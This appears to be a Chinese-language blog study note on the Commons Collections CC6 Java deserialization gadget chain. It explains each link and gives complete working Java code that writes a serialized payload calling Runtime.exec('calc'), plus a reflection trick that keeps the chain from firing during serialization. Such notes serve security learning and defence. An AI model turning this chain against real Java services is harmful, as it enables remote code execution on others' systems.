本文最后更新于 2026-01-07T14:50:55+08:00
学习文章:https://drun1baby.top/2022/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8703-CC6%E9%93%BE/
环境搭建
CC6链不受 JDK 版本约束
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
CC6链和CC1的尾部是相同的,只是出发的起点不同,所以可以直接使用CC1链的环境
可以看CC1链的笔记:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
分析构造链子
第一步
和CC1链一样,因为Runtime类不能序列化,所以要利用反射才能调用到getRuntime和exec方法,去找到Transformer接口中的ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类
ChainedTransformer:循环调用数组中每个对象的transform方法,将前一个的输出作为后一个的输入
ConstantTransformer:类中的transform方法会忽略输入的参数,始终返回预设的常量iConstant
InvokerTransformer:类中的transform方法可以反射调用Runtime类中的方法执行命令
1 2 3 4 5 6 7 8
| Class<Runtime> c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t);
|
第二步
然后也是和CC1链一样,要找调用了transform方法的类,然后找到LazyMap类中的get()方法
1 2
| Map m = new HashMap(); LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer);
|
第三步
然后继续找谁调用了get()方法,可以找到TiedMapEntry类中的getvalue()方法

然后可以继续找到TiedMapEntry类中的hashCode()方法调用了getvalue()方法

然后看TiedMapEntry类这个类的构造函数

要传入一个map和一个key,map就可以传入decorate,key可以先用new String()创建个空字符串填充
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());
|
第四步
接着找调用hashCode的类,这就想到了之前学的第一个链子URLDNS链
笔记:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/#URLDNS%E9%93%BE%E5%88%86%E6%9E%90
所以就可以对HashMap类的readObject方法进行重写,从而可以调用到hash函数,进而调用到hashCode方法
到此整个CC6链就分析好了
1 2 3
| HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "123"); serialize(map);
|
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception{ Class<Runtime> c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t); Map m = new HashMap<>(); LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String()); HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "123"); serialize(map); }
public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; }
}
|

这里有个和在调URLDNS链同样的问题,就是必须使用put方法传值,但是使用put方法就会调用到hash函数进而调用到hashCode,就会导致链子会在序列化的时候就会被调用,在反序列化的时候不会被调用了,具体可以看URLDNS链的分析
URLDNS链的分析:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/#URLDNS%E9%93%BE%E5%88%86%E6%9E%90
解决方法
跟进put方法,这里会调用hash函数,并传入key作为参数

继续跟进hash函数,这里如果key不为null,就会调用hashCode,所以要想不提前触发hashCode方法,就可以让key为null

回来看链子,下断点调试会发现在执行到put这个方法的时候,tiedMapEntry不是为null

这是因为在实例化的时候,tiedMapEntry的map是有值的,就是decorate,所以就会提前触发hashCode方法
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());
|
所以就要让key为null,可以直接给一个空的hashMap实例化的对象就行,可以利用反射来修改map,因为这是个私有属性
1 2 3 4 5
| Class ti = tiedMapEntry.getClass(); Field map1 = ti.getDeclaredField("map"); map1.setAccessible(true); map1.set(tiedMapEntry, new HashMap()); map.put(tiedMapEntry, "123");
|

这就可以绕过了,然后要让key为有值的tiedMapEntry,所以再进行一次复制就可以了
1
| map1.set(tiedMapEntry, decorate);
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception{ Class<Runtime> c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t); Map m = new HashMap<>(); LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String()); HashMap<Object, Object> map = new HashMap<>(); Class ti = tiedMapEntry.getClass(); Field map1 = ti.getDeclaredField("map"); map1.setAccessible(true); map1.set(tiedMapEntry, new HashMap()); map.put(tiedMapEntry, "123"); map1.set(tiedMapEntry, decorate);
serialize(map); unserialize("ser.bin");
}
public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; }
}
|